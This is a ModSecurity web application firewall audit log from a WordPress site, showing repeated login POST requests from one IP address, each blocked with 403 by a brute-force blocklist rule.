User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--6d56ce4b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6d56ce4b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313955748972 1736 (- - -)
Stopwatch2: 1789313955748972 1736; combined=566, p1=231, p2=82, p3=0, p4=0, p5=252, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6d56ce4b-Z--
--63d2b006-A--
[13/Sep/2026:18:39:16.131002 +0300] aqbDpFdqBhgxDSpG7haLDwAAAE0 134.185.87.66 59694 127.0.0.1 7081
--63d2b006-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--63d2b006-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--63d2b006-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313956129331 1725 (- - -)
Stopwatch2: 1789313956129331 1725; combined=590, p1=265, p2=65, p3=0, p4=0, p5=259, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--63d2b006-Z--
--52cb0532-A--
[13/Sep/2026:18:39:16.515691 +0300] aqbDpFdqBhgxDSpG7haLEAAAAEg 134.185.87.66 59704 127.0.0.1 7081
--52cb0532-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 132
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--52cb0532-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--52cb0532-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313956512494 3367 (- - -)
Stopwatch2: 1789313956512494 3367; combined=1269, p1=520, p2=201, p3=0, p4=0, p5=547, sr=185, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--52cb0532-Z--
--b407bf43-A--
[13/Sep/2026:18:39:16.905727 +0300] aqbDpEhjHs68UzErry1KyQAAAI4 134.185.87.66 59718 127.0.0.1 7081
--b407bf43-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--b407bf43-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b407bf43-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313956903827 1970 (- - -)
Stopwatch2: 1789313956903827 1970; combined=744, p1=342, p2=83, p3=0, p4=0, p5=319, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b407bf43-Z--
--4c566f4d-A--
[13/Sep/2026:18:39:17.289096 +0300] aqbDpUhjHs68UzErry1KywAAAIY 134.185.87.66 59736 127.0.0.1 7081
--4c566f4d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--4c566f4d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4c566f4d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313957287240 1912 (- - -)
Stopwatch2: 1789313957287240 1912; combined=538, p1=236, p2=70, p3=0, p4=0, p5=232, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4c566f4d-Z--
--d2eb4d17-A--
[13/Sep/2026:18:39:17.668837 +0300] aqbDpfut1GUrjaX0wO44jQAAAMA 134.185.87.66 59750 127.0.0.1 7081
--d2eb4d17-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d2eb4d17-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d2eb4d17-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313957666572 2333 (- - -)
Stopwatch2: 1789313957666572 2333; combined=774, p1=281, p2=161, p3=0, p4=0, p5=332, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d2eb4d17-Z--
--4e08e17c-A--
[13/Sep/2026:18:39:18.056398 +0300] aqbDpldqBhgxDSpG7haLEQAAAEY 134.185.87.66 59772 127.0.0.1 7081
--4e08e17c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--4e08e17c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4e08e17c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313958053726 2791 (- - -)
Stopwatch2: 1789313958053726 2791; combined=1031, p1=371, p2=157, p3=0, p4=0, p5=503, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4e08e17c-Z--
--fec2c92a-A--
[13/Sep/2026:18:39:18.440800 +0300] aqbDpkhjHs68UzErry1KzAAAAI0 134.185.87.66 59794 127.0.0.1 7081
--fec2c92a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--fec2c92a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fec2c92a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313958438998 1872 (- - -)
Stopwatch2: 1789313958438998 1872; combined=621, p1=294, p2=65, p3=0, p4=0, p5=262, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fec2c92a-Z--
--94a6f251-A--
[13/Sep/2026:18:39:18.823763 +0300] aqbDpvut1GUrjaX0wO44jwAAANQ 134.185.87.66 59802 127.0.0.1 7081
--94a6f251-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--94a6f251-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--94a6f251-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313958822105 1714 (- - -)
Stopwatch2: 1789313958822105 1714; combined=605, p1=265, p2=67, p3=0, p4=0, p5=273, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--94a6f251-Z--
--9af5110c-A--
[13/Sep/2026:18:39:19.204409 +0300] aqbDp-ut1GUrjaX0wO44kQAAANI 134.185.87.66 59828 127.0.0.1 7081
--9af5110c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9af5110c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9af5110c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313959202683 1788 (- - -)
Stopwatch2: 1789313959202683 1788; combined=618, p1=267, p2=67, p3=0, p4=0, p5=284, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9af5110c-Z--
--50eabc25-A--
[13/Sep/2026:18:39:19.587592 +0300] aqbDp-ut1GUrjaX0wO44kwAAAMg 134.185.87.66 59832 127.0.0.1 7081
--50eabc25-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--50eabc25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--50eabc25-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313959586064 1646 (- - -)
Stopwatch2: 1789313959586064 1646; combined=507, p1=218, p2=62, p3=0, p4=0, p5=227, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--50eabc25-Z--
--342caf55-A--
[13/Sep/2026:18:39:19.998854 +0300] aqbDp-ut1GUrjaX0wO44lQAAAM0 134.185.87.66 59844 127.0.0.1 7081
--342caf55-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--342caf55-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--342caf55-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313959997100 1808 (- - -)
Stopwatch2: 1789313959997100 1808; combined=656, p1=286, p2=68, p3=0, p4=0, p5=302, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--342caf55-Z--
--e10f2e44-A--
[13/Sep/2026:18:39:20.422192 +0300] aqbDqPut1GUrjaX0wO44lwAAAM4 134.185.87.66 59850 127.0.0.1 7081
--e10f2e44-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--e10f2e44-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e10f2e44-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313960420270 2003 (- - -)
Stopwatch2: 1789313960420270 2003; combined=768, p1=333, p2=124, p3=0, p4=0, p5=311, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e10f2e44-Z--
--5e83dd67-A--
[13/Sep/2026:18:39:20.861767 +0300] aqbDqPut1GUrjaX0wO44mQAAANA 134.185.87.66 59874 127.0.0.1 7081
--5e83dd67-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5e83dd67-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5e83dd67-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313960859929 1901 (- - -)
Stopwatch2: 1789313960859929 1901; combined=701, p1=308, p2=79, p3=0, p4=0, p5=314, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5e83dd67-Z--
--5459b76b-A--
[13/Sep/2026:18:39:21.250126 +0300] aqbDqfut1GUrjaX0wO44mwAAAMI 134.185.87.66 59890 127.0.0.1 7081
--5459b76b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5459b76b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5459b76b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313961248276 1918 (- - -)
Stopwatch2: 1789313961248276 1918; combined=714, p1=317, p2=101, p3=0, p4=0, p5=295, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5459b76b-Z--
--f8269c1b-A--
[13/Sep/2026:18:39:21.633999 +0300] aqbDqUhjHs68UzErry1KzQAAAIc 134.185.87.66 59912 127.0.0.1 7081
--f8269c1b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f8269c1b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f8269c1b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313961632068 1996 (- - -)
